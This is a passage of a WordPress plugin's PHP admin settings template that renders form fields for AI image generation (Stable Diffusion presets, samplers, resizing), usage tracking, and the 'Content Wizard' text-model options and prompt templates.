esc_html($steps);?>" placeholder="<?php echo esc_html__("10-250", 'aiomatic-automatic-ai-content-writer');?>" class="cr_width_full"> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("How strictly the diffusion process adheres to the prompt text (higher values keep your image closer to your prompt). Default value is 7.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("CFG Scale:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <input type="number" min="0" step="1" max="35" name="aiomatic_Main_Settings[cfg_scale]" value="<?php echo esc_html($cfg_scale);?>" placeholder="<?php echo esc_html__("0-35", 'aiomatic-automatic-ai-content-writer');?>" class="cr_width_full"> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Random noise seed (omit this option or use 0 for a random seed)", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Seed:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <input type="number" min="0" step="1" max="4294967295" name="aiomatic_Main_Settings[cfg_seed]" value="<?php echo esc_html($cfg_seed);?>" placeholder="<?php echo esc_html__("0", 'aiomatic-automatic-ai-content-writer');?>" class="cr_width_full"> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set what preset to use when generating images. Default is NONE.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Clip Guidance Preset:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <select id="clip_guidance_preset" name="aiomatic_Main_Settings[clip_guidance_preset]" class="cr_width_full"> <option value="NONE"<?php if ($clip_guidance_preset == "NONE") { echo " selected"; } ?>><?php echo esc_html__("NONE", 'aiomatic-automatic-ai-content-writer');?></option> <option value="FAST_BLUE"<?php if ($clip_guidance_preset == "FAST_BLUE") { echo " selected"; } ?>><?php echo esc_html__("FAST_BLUE", 'aiomatic-automatic-ai-content-writer');?></option> <option value="FAST_GREEN"<?php if ($clip_guidance_preset == "FAST_GREEN") { echo " selected"; } ?>><?php echo esc_html__("FAST_GREEN", 'aiomatic-automatic-ai-content-writer');?></option> <option value="SIMPLE"<?php if ($clip_guidance_preset == "SIMPLE") { echo " selected"; } ?>><?php echo esc_html__("SIMPLE", 'aiomatic-automatic-ai-content-writer');?></option> <option value="SLOW"<?php if ($clip_guidance_preset == "SLOW") { echo " selected"; } ?>><?php echo esc_html__("SLOW", 'aiomatic-automatic-ai-content-writer');?></option> <option value="SLOWER"<?php if ($clip_guidance_preset == "SLOWER") { echo " selected"; } ?>><?php echo esc_html__("SLOWER", 'aiomatic-automatic-ai-content-writer');?></option> <option value="SLOWEST"<?php if ($clip_guidance_preset == "SLOWEST") { echo " selected"; } ?>><?php echo esc_html__("SLOWEST", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Pass in a style preset to guide the image model towards a particular style. Default is NONE.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Style Preset:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <select id="clip_style_preset" name="aiomatic_Main_Settings[clip_style_preset]" class="cr_width_full"> <option value="NONE"<?php if ($clip_style_preset == "NONE") { echo " selected"; } ?>><?php echo esc_html__("NONE", 'aiomatic-automatic-ai-content-writer');?></option> <option value="3d-model"<?php if ($clip_style_preset == "3d-model") { echo " selected"; } ?>><?php echo esc_html__("3d-model", 'aiomatic-automatic-ai-content-writer');?></option> <option value="analog-film"<?php if ($clip_style_preset == "analog-film") { echo " selected"; } ?>><?php echo esc_html__("analog-film", 'aiomatic-automatic-ai-content-writer');?></option> <option value="anime"<?php if ($clip_style_preset == "anime") { echo " selected"; } ?>><?php echo esc_html__("anime", 'aiomatic-automatic-ai-content-writer');?></option> <option value="cinematic"<?php if ($clip_style_preset == "cinematic") { echo " selected"; } ?>><?php echo esc_html__("cinematic", 'aiomatic-automatic-ai-content-writer');?></option> <option value="comic-book"<?php if ($clip_style_preset == "comic-book") { echo " selected"; } ?>><?php echo esc_html__("comic-book", 'aiomatic-automatic-ai-content-writer');?></option> <option value="digital-art"<?php if ($clip_style_preset == "digital-art") { echo " selected"; } ?>><?php echo esc_html__("digital-art", 'aiomatic-automatic-ai-content-writer');?></option> <option value="enhance"<?php if ($clip_style_preset == "enhance") { echo " selected"; } ?>><?php echo esc_html__("enhance", 'aiomatic-automatic-ai-content-writer');?></option> <option value="fantasy-art"<?php if ($clip_style_preset == "fantasy-art") { echo " selected"; } ?>><?php echo esc_html__("fantasy-art", 'aiomatic-automatic-ai-content-writer');?></option> <option value="isometric"<?php if ($clip_style_preset == "isometric") { echo " selected"; } ?>><?php echo esc_html__("isometric", 'aiomatic-automatic-ai-content-writer');?></option> <option value="line-art"<?php if ($clip_style_preset == "line-art") { echo " selected"; } ?>><?php echo esc_html__("line-art", 'aiomatic-automatic-ai-content-writer');?></option> <option value="low-poly"<?php if ($clip_style_preset == "low-poly") { echo " selected"; } ?>><?php echo esc_html__("low-poly", 'aiomatic-automatic-ai-content-writer');?></option> <option value="modeling-compound"<?php if ($clip_style_preset == "modeling-compound") { echo " selected"; } ?>><?php echo esc_html__("modeling-compound", 'aiomatic-automatic-ai-content-writer');?></option> <option value="neon-punk"<?php if ($clip_style_preset == "neon-punk") { echo " selected"; } ?>><?php echo esc_html__("neon-punk", 'aiomatic-automatic-ai-content-writer');?></option> <option value="origami"<?php if ($clip_style_preset == "origami") { echo " selected"; } ?>><?php echo esc_html__("origami", 'aiomatic-automatic-ai-content-writer');?></option> <option value="photographic"<?php if ($clip_style_preset == "photographic") { echo " selected"; } ?>><?php echo esc_html__("photographic", 'aiomatic-automatic-ai-content-writer');?></option> <option value="pixel-art"<?php if ($clip_style_preset == "pixel-art") { echo " selected"; } ?>><?php echo esc_html__("pixel-art", 'aiomatic-automatic-ai-content-writer');?></option> <option value="tile-texture"<?php if ($clip_style_preset == "tile-texture") { echo " selected"; } ?>><?php echo esc_html__("tile-texture", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Which sampler to use for the diffusion process. If this value is omitted we'll automatically select an appropriate sampler for you.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Sampler:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <select id="sampler" name="aiomatic_Main_Settings[sampler]" class="cr_width_full"> <option value="auto"<?php if ($sampler == "auto") { echo " selected"; } ?>><?php echo esc_html__("Auto", 'aiomatic-automatic-ai-content-writer');?></option> <option value="DDIM"<?php if ($sampler == "DDIM") { echo " selected"; } ?>><?php echo esc_html__("DDIM", 'aiomatic-automatic-ai-content-writer');?></option> <option value="DDPM"<?php if ($sampler == "DDPM") { echo " selected"; } ?>><?php echo esc_html__("DDPM", 'aiomatic-automatic-ai-content-writer');?></option> <option value="K_DPMPP_2M"<?php if ($sampler == "K_DPMPP_2M") { echo " selected"; } ?>><?php echo esc_html__("K_DPMPP_2M", 'aiomatic-automatic-ai-content-writer');?></option> <option value="K_DPMPP_2S_ANCESTRAL"<?php if ($sampler == "K_DPMPP_2S_ANCESTRAL") { echo " selected"; } ?>><?php echo esc_html__("K_DPMPP_2S_ANCESTRAL", 'aiomatic-automatic-ai-content-writer');?></option> <option value="K_DPM_2"<?php if ($sampler == "K_DPM_2") { echo " selected"; } ?>><?php echo esc_html__("K_DPM_2", 'aiomatic-automatic-ai-content-writer');?></option> <option value="K_DPM_2_ANCESTRAL"<?php if ($sampler == "K_DPM_2_ANCESTRAL") { echo " selected"; } ?>><?php echo esc_html__("K_DPM_2_ANCESTRAL", 'aiomatic-automatic-ai-content-writer');?></option> <option value="K_EULER"<?php if ($sampler == "K_EULER") { echo " selected"; } ?>><?php echo esc_html__("K_EULER", 'aiomatic-automatic-ai-content-writer');?></option> <option value="K_EULER_ANCESTRAL"<?php if ($sampler == "K_EULER_ANCESTRAL") { echo " selected"; } ?>><?php echo esc_html__("K_EULER_ANCESTRAL", 'aiomatic-automatic-ai-content-writer');?></option> <option value="K_HEUN"<?php if ($sampler == "K_HEUN") { echo " selected"; } ?>><?php echo esc_html__("K_HEUN", 'aiomatic-automatic-ai-content-writer');?></option> <option value="K_LMS"<?php if ($sampler == "K_LMS") { echo " selected"; } ?>><?php echo esc_html__("K_LMS", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </td> </tr> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("General AI Image Generator Settings:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("By default, the plugin will attempt to translate AI image prompts to English. If you are publishing only English content on your site, you can disable this feature to speed up image processing.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Don't Attempt To Translate AI Image Prompts To English:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <label class="aiomatic-switch"><input type="checkbox" id="no_img_translate" name="aiomatic_Main_Settings[no_img_translate]"<?php if ($no_img_translate == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </td> </tr> <?php if ($copy_locally == "disabled"){ echo '<tr><td colspan="2">' . esc_html__("To use the Image Resizing feature, you need to enable the 'Copy Royalty Free / AI Images From Post Content' feature from the 'Cloud Storage' tab!", 'aiomatic-automatic-ai-content-writer') . '</td></tr>'; } if (!function_exists('finfo_open')){ echo '<tr><td colspan="2"><b>finfo_open</b> - ' . esc_html__("This function is not enabled on your server. Please enable it to use the image resizing feature of the plugin!", 'aiomatic-automatic-ai-content-writer') . '</td></tr>'; }?> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Resize the AI generated image to the width specified in this text field (in pixels). If you want to disable this feature, leave this field blank. This feature will work only if you copy AI generated images from their original sources, locally to your own server.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Generated Image Resize Width:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <input type="number" min="1" step="1"<?php if (!function_exists('finfo_open') || $copy_locally == "disabled"){ echo ' disabled title="To use this feature, you need to enable the \'Copy Royalty Free / AI Images From Post Content\' feature from the \'Cloud Storage\' tab!"';}?> name="aiomatic_Main_Settings[ai_resize_width]" value="<?php echo esc_html($ai_resize_width);?>" placeholder="<?php echo esc_html__("Please insert the desired width for AI generated images", 'aiomatic-automatic-ai-content-writer');?>" class="cr_width_full"> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Resize the AI generated image to the height specified in this text field (in pixels). If you want to disable this feature, leave this field blank. This feature will work only if you copy AI generated images from their original sources.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Generated Image Resize Height:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <input type="number" min="1" step="1"<?php if (!function_exists('finfo_open') || $copy_locally == "disabled"){ echo ' disabled title="To use this feature, you need to enable the \'Copy Royalty Free / AI Images From Post Content\' feature from the \'Cloud Storage\' tab!"';}?> name="aiomatic_Main_Settings[ai_resize_height]" value="<?php echo esc_html($ai_resize_height);?>" placeholder="<?php echo esc_html__("Please insert the desired height for AI generated images", 'aiomatic-automatic-ai-content-writer');?>" class="cr_width_full"> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the quality of the resized images. Accepted values: 1-100. 1 is lowest quality, 100 is highest quality. If you want to disable this feature, leave this field blank. This feature will work only if you copy AI generated images from their original sources.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Generated Image Resize Quality:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <input type="number" min="1" step="1"<?php if (!function_exists('finfo_open') || $copy_locally == "disabled"){ echo ' disabled title="To use this feature, you need to enable the \'Copy Royalty Free / AI Images From Post Content\' feature from the \'Cloud Storage\' tab!"';}?> max="100" name="aiomatic_Main_Settings[ai_resize_quality]" value="<?php echo esc_html($ai_resize_quality);?>" placeholder="<?php echo esc_html__("Resize quality", 'aiomatic-automatic-ai-content-writer');?>" class="cr_width_full"> </div> </td> </tr> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Stable Diffusion Tutorial Video:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <td class="coderevolution_block_input" colspan="2"> <iframe class="youtube-responsive" src="https://www.youtube.com/embed/SX2vGtKNAz4" frameborder="0" allowfullscreen></iframe> </td></tr> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Midjourney Tutorial Video:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <td class="coderevolution_block_input" colspan="2"> <iframe class="youtube-responsive" src="https://www.youtube.com/embed/8H45UHQ62mk" frameborder="0" allowfullscreen></iframe> </td></tr> </table> </div> <div id="tab-5<?php if($is_activated !== true && $is_activated !== 2){echo 'x';}?>" class="tab-content"> <h3><?php echo esc_html__('Statistics Settings', 'aiomatic-automatic-ai-content-writer');?></h3> <p class="aiomatic-settings-desc"><?php echo esc_html__("The 'Statistics' tab provides settings for the 'Limits & Statistics' module of the plugin.", 'aiomatic-automatic-ai-content-writer'); ?></p> <h2><?php echo esc_html__("Check the Statistics page ", 'aiomatic-automatic-ai-content-writer');?><a href="<?php echo admin_url('admin.php?page=aiomatic_openai_status');?>"><?php echo esc_html__("here", 'aiomatic-automatic-ai-content-writer');?>.</a></h2> <table class="widefat"> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Limits & Statistics Options:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to enable usage tracking for statistics and usage limits?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable Usage Tracking For Statistics And Usage Limits:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <label class="aiomatic-switch"><input type="checkbox" id="enable_tracking" name="aiomatic_Main_Settings[enable_tracking]"<?php if ($enable_tracking == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </td> </tr></table> </div> <div id="tab-16<?php if($is_activated !== true && $is_activated !== 2){echo 'x';}?>" class="tab-content"> <h3><?php echo esc_html__('Content Wizard', 'aiomatic-automatic-ai-content-writer');?></h3> <p class="aiomatic-settings-desc"><?php echo esc_html__("The 'Content Wizard' tab provides guided options for tools and templates to easily create, format, and optimize engaging content for your WordPress site.", 'aiomatic-automatic-ai-content-writer'); ?></p> <table class="widefat"> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Content Wizard General Settings:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to enable or disable the AI assistant feature of the plugin?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable Content Wizard On:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <select id="assistant_disable" name="aiomatic_Main_Settings[assistant_disable]" class="cr_width_full"> <option value="back"<?php if ($assistant_disable == "back") { echo " selected"; } ?>>Backend</option> <option value="front"<?php if ($assistant_disable == "front") { echo " selected"; } ?>>Frontend</option> <option value="both"<?php if ($assistant_disable == "both") { echo " selected"; } ?>>Backend & Frontend</option> <option value="on"<?php if ($assistant_disable == "on") { echo " selected"; } ?>>Disabled</option> </select> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set if you want to enable Content Wizard also for not logged in users.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable Content Wizard Also For Not Logged In Users:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <select id="assistant_not_logged" name="aiomatic_Main_Settings[assistant_not_logged]" class="cr_width_full"> <option value="disable"<?php if ($assistant_not_logged == "disable") { echo " selected"; } ?>><?php echo esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer');?></option> <option value="enable"<?php if ($assistant_not_logged == "enable") { echo " selected"; } ?>><?php echo esc_html__("Enabled", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set where you would like to add the AI assistant result - above or below the selected text.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Content Wizard Result Placement:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <select id="assistant_placement" name="aiomatic_Main_Settings[assistant_placement]" class="cr_width_full"> <option value="below"<?php if ($assistant_placement == "below") { echo " selected"; } ?>>Below selected text</option> <option value="above"<?php if ($assistant_placement == "above") { echo " selected"; } ?>>Above selected text</option> </select> </td> </tr> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Content Wizard Image Settings:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the image size of the AI assistant generated images.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Content Wizard Image Size:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <select id="assistant_image_size" name="aiomatic_Main_Settings[assistant_image_size]" class="cr_width_full"> <option value="256x256"<?php if ($assistant_image_size == "256x256") { echo " selected"; } ?>>256x256 (only for Dall-E 2)</option> <option value="512x512"<?php if ($assistant_image_size == "512x512") { echo " selected"; } ?>>512x512 (only for Dall-E 2 & Stable Diffusion)</option> <option value="1024x1024"<?php if ($assistant_image_size == "1024x1024") { echo " selected"; } ?>>1024x1024</option> <option value="1792x1024"<?php if ($assistant_image_size == "1792x1024") { echo " selected"; } ?>>1792x1024 (only for Dall-E 3)</option> <option value="1024x1792"<?php if ($assistant_image_size == "1024x1792") { echo " selected"; } ?>>1024x1792 (only for Dall-E 3)</option> </select> </td> </tr><tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the image model of the AI assistant generated images.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Content Wizard Image Model:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <select id="assistant_image_model" name="aiomatic_Main_Settings[assistant_image_model]" class="cr_width_full"> <option value="dalle2"<?php if ($assistant_image_model == "dalle2") { echo " selected"; } ?>>Dall-E 2</option> <option value="dalle3"<?php if ($assistant_image_model == "dalle3") { echo " selected"; } ?>>Dall-E 3</option> <option value="dalle3hd"<?php if ($assistant_image_model == "dalle3hd") { echo " selected"; } ?>>Dall-E 3 HD</option> <?php if (isset($aiomatic_Main_Settings['stability_app_id']) && trim($aiomatic_Main_Settings['stability_app_id']) != '') { ?> <option value="stability"<?php if ($assistant_image_model == "stability") { echo " selected"; }?> ><?php echo esc_html__("Stability.AI", 'aiomatic-automatic-ai-content-writer');?></option> <?php } if (isset($aiomatic_Main_Settings['midjourney_app_id']) && trim($aiomatic_Main_Settings['midjourney_app_id']) != '') { ?> <option value="midjourney"<?php if ($assistant_image_model == "midjourney") { echo " selected"; }?> ><?php echo esc_html__("Midjourney", 'aiomatic-automatic-ai-content-writer');?></option> <?php } ?> </select> </td> </tr> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Content Wizard Text Completion Settings:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Assistant to be used. This will disable the ability to select AI models, as the models assisgned to the assistant will be used for content creation.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Assistant Name:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td><select id="wizard_assistant_id" name="aiomatic_Main_Settings[wizard_assistant_id]" class="cr_width_full" onchange="assistantSelected('wizard_assistant_id', 'disableWizard');"> <?php if($all_assistants === false) { echo '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { echo '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value=""'; if($wizard_assistant_id == '') { echo ' selected'; } echo '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { echo '<option value="' . $myassistant->ID .'"'; if($wizard_assistant_id == $myassistant->ID) { echo ' selected'; } echo '>' . esc_html($myassistant->post_title); echo '</option>'; } } } ?> </select> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the model to use for the Content Wizard feature.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Content Wizard Model:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <select id="assistant_model" name="aiomatic_Main_Settings[assistant_model]" <?php if($wizard_assistant_id != ''){echo ' disabled';}?> class="disableWizard cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; if ($assistant_model == $modelx) { echo " selected"; } echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <th class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("What sampling temperature to use. Higher values means the model will take more risks. Try 0.9 for more creative applications, and 0 (argmax sampling) for ones with a well-defined answer. We generally recommend altering this or top_p but not both.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Content Wizard Temperature:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <input type="number" min="0" step="0.01" max="2" name="aiomatic_Main_Settings[assistant_temperature]" value="<?php echo esc_html($assistant_temperature);?>" placeholder="1" class="cr_width_full"> </td> </tr><tr> <th class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("An alternative to sampling with temperature, called nucleus sampling, where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered. We generally recommend altering this or temperature but not both.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Content Wizard Top_p:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <input type="number" min="0" max="1" step="0.01" name="aiomatic_Main_Settings[assistant_top_p]" value="<?php echo esc_html($assistant_top_p);?>" placeholder="1" class="cr_width_full"> </td> </tr><tr> <th class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Number between -2.0 and 2.0. Positive values penalize new tokens based on whether they appear in the text so far, increasing the model's likelihood to talk about new topics.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Content Wizard Presence Penalty:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <input type="number" min="-2" step="0.01" max="2" name="aiomatic_Main_Settings[assistant_ppenalty]" value="<?php echo esc_html($assistant_ppenalty);?>" placeholder="0" class="cr_width_full"> </td> </tr><tr> <th class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Number between -2.0 and 2.0. Positive values penalize new tokens based on their existing frequency in the text so far, decreasing the model's likelihood to repeat the same line verbatim.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Content Wizard Frequency Penalty:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <input type="number" min="0" max="2" step="0.01" name="aiomatic_Main_Settings[assistant_fpenalty]" value="<?php echo esc_html($assistant_fpenalty);?>" placeholder="0" class="cr_width_full"> </td> </tr></table> <br/> <table class="widefat"> <tr class="aiomatic-title-holder"> <td> <h2 class="aiomatic-inner-title"><?php echo esc_html__("Content Wizard Prompts:", 'aiomatic-automatic-ai-content-writer');?></h2> <hr/> <div class="table-responsive"> <div id="grid-wizard-aiomatic"> <div class="grid-wizard-heading-aiomatic aiomatic-middle"> <?php echo esc_html__("Menu name", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the name of the command, which will appear in the post editor.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </div> <div class="grid-wizard-heading-aiomatic aiomatic-middle"> <?php echo esc_html__("Prompt", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the prompt to be sent to the AI when clicking on this command in post editor. You can use the %%selected_text%% shortcode and also the following shortcodes, which will use the data from the current post which is edited: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to users using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </div> <div class="grid-wizard-heading-aiomatic aiomatic-middle"> <?php echo esc_html__("Type", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the type of the prompt you are creating.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </div> <div class="grid-wizard-heading-aiomatic aiomatic-middle"> <?php echo esc_html__("Del", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to delete this rule?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </div> <?php echo aiomatic_expand_assistant_rules(); ?> <div> <hr/> </div> <div> <hr/> </div> <div> <hr/> </div> <div> <hr/> </div> <div class="cr_center"><input type="text" name="aiomatic_assistant_list[menu_name][]" placeholder="<?php echo esc_html__("Add a menu name", 'aiomatic-automatic-ai-content-writer');?>" value=""/></div> <div class="cr_center"><textarea rows="1" name="aiomatic_assistant_list[prompt][]" placeholder="<?php echo esc_html__("Add a prompt", 'aiomatic-automatic-ai-content-writer');?>" value=""></textarea></div> <div class="cr_center"><select id="aiomatic_assistant_type" name="aiomatic_assistant_list[type][]"> <option value="text" selected><?php echo esc_html__("Text", 'aiomatic-automatic-ai-content-writer');?></option> <option value="image"><?php echo esc_html__("Image", 'aiomatic-automatic-ai-content-writer');?></option></select></div> <div class="cr_center"><span class="cr_gray20">X</span></div> </div> </div> <hr/> <p class="crsubmit"><input type="submit" name="btnSubmitwiz" id="btnSubmitwiz" class="button button-primary" onclick="unsaved = false;" value="<?php echo esc_html__("Save Content Wizard Prompts", 